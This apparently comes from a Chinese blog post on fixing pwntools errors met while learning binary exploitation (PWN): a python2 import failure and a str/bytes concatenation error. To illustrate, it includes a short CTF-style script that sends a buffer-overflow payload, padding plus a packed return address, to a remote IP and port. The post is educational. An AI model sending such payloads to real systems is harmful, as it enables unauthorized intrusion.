首页 > 其他分享 >PWN学习过程中一些小问题的解决方法

PWN学习过程中一些小问题的解决方法

时间:2024-08-02 11:09:04浏览次数:17  
标签:py 学习 解决 only 报错 str PWN payload pwn

  • 一、使用python运行py文件,第一行的from pwn import *报错
  File "woof.py", line 1, in <module>
    from pwn import *
ImportError: No module named pwn

因为使用的是python3安装的pwn,使用Python的话默认使用的是python2,可以直接在终端中输入python查看自己使用的版本。

  • 二、使用python3运行脚本:
from pwn import *
r=remote("120.46.59.242", 2139)
payload='A'*13+p32(0x0804859b)
r.sendline(payload)
r.interactive()

报错:

  File "/home/exfeitu/desktop/woof.py", line 3, in <module>
    payload=str('A'*13+p32(0x0804859b))
TypeError: can only concatenate str (not "bytes") to str

无法进行字符串转换之类的,是由于python2和与python3的版本特性,需要手动转换。
参考python 报错TypeError: can only concatenate str (not "bytes") to str
can only concatenate str (not "bytes") to str,使用encode()解决,在字符串后面加上.encode()

标签:py,学习,解决,only,报错,str,PWN,payload,pwn
From: https://www.cnblogs.com/exfeitu-foxmail/p/18338316

相关文章

  • 行列式学习笔记
    前置知识部分内容摘自OI-Wiki排列由\(1,2,\dots,n\)组成的有序数组称为\(1,2,\dots,n\)的排列。前\(n\)个正整数的不同排列有\(n!\)个。如果排列的逆序对个数是奇数,那么这是一个奇排列;如果排列的逆序对个数是偶数,那么这是一个偶排列。置换一个有限集合\(S\)到自......
  • 深度学习扫盲——Transforms
    在PyTorch中,torchvision是一个常用的库,它提供了对图像和视频数据的处理功能,包括数据加载、转换等。transforms是torchvision.transforms模块的一部分,它定义了一系列的图像转换操作,这些操作可以单独使用或者组合成转换序列(通过transforms.Compose),以便于在数据加载时自动应用到图像......
  • 解决Leaflet地图初始化后更改容器宽度,新增部分瓦片没有请求问题
    当使用Leaflet初始化地图并在后续操作中动态更改地图容器的宽度时,可能会出现地图新增加的部分没有请求瓦片的情况。这是因为Leaflet在初始化时计算并缓存了地图的尺寸,当容器的尺寸发生变化时,地图没有自动刷新来适应新的尺寸。为了解决这个问题,需要在动态更改容器宽度后调用L......
  • windows无法连接到打印机0x0000011b原因分析及完美解决方法
         日常办公和生活中,打印机是不可或缺的重要设备。然而,在添加打印机过程中,经常会遇各种问题。然后我们在添加打印机遇到最多的多种错误:windows无法连接到打印机0x0000011b。0x0000011b有更新补丁导致的、有访问共享打印机服务异常、有访问共享打印机驱动异常等问题导......
  • python需要学习的基础库
    Python在数据分析和机器学习领域非常强大,得益于其丰富的库和框架。以下是一些常用的数据分析和机器学习库,以及推荐的学习资源网站:数据分析库NumPy:提供高性能的多维数组对象和用于处理数组的工具。它是许多科学计算库的基础。学习资源:NumPy官方文档Pandas:为数据分析提供了......
  • Python 学习中的 API,如何调用API ?
    1.1API的定义API,全称是ApplicationProgrammingInterface(应用程序编程接口)。它是一组定义好的协议和工具,用于在软件应用程序之间进行通信。API可以简化软件开发,使不同的应用程序能够相互协作。它是软件开发中非常关键的组成部分,因为它提供了一种标准化的方式来访问某些功能,......
  • Instrospect 推出全球首个 GDDR7 显存测试系统测试解决方案
    固态技术协会JEDEC于3月6日正式发布JESD239GDDR7显存标准,JESD239GDDR7提供的带宽是GDDR6的两倍,每台设备最高可达192GB/s。JESD239GDDR7是第一个使用脉幅调制(PulseAmplitudeModulation,PAM)接口进行高频操作的JEDEC标准DRAM。其PAM3接口提高了高频操......
  • Java毕业设计-基于springboot开发的智能学习平台系统-毕业论文(附毕设源代码)
    文章目录前言一、毕设成果演示(源代码在文末)二、毕设摘要展示1、开发说明2、需求/流程分析3、系统功能结构三、系统实现展示1、学生信息管理2、课程信息管理3/试卷信息管理4/公告信息管理四、毕设内容和源代码获取总结逃逸的卡路里博主介绍:✌️码农一枚|毕设布道师......
  • 深度学习扫盲——PIL(python图像处理库)
    PIL(PythonImagingLibrary)库,也称为Pillow,是Python中广泛使用的PIL。它提供了丰富的图像处理功能,支持几乎所有图片格式的存储、显示和处理,能够完成图像的缩放、裁剪、叠加以及图像添加线条、图像和文字等操作。以下是对PIL库(Pillow)的详细介绍:一、基本介绍定义:PIL是PythonImagin......
  • 深度学习之自我扫盲——img_tensor是什么
    img_tensor在计算机视觉和深度学习的上下文中,通常指的是一个图像数据被转换成张量(Tensor)格式后的结果。张量是深度学习框架(如TensorFlow、PyTorch等)中用于表示数据的基本单位,它们可以看作是更高维度的数组或矩阵。在图像处理领域,一张图像通常由像素值组成,这些像素值可以表示颜......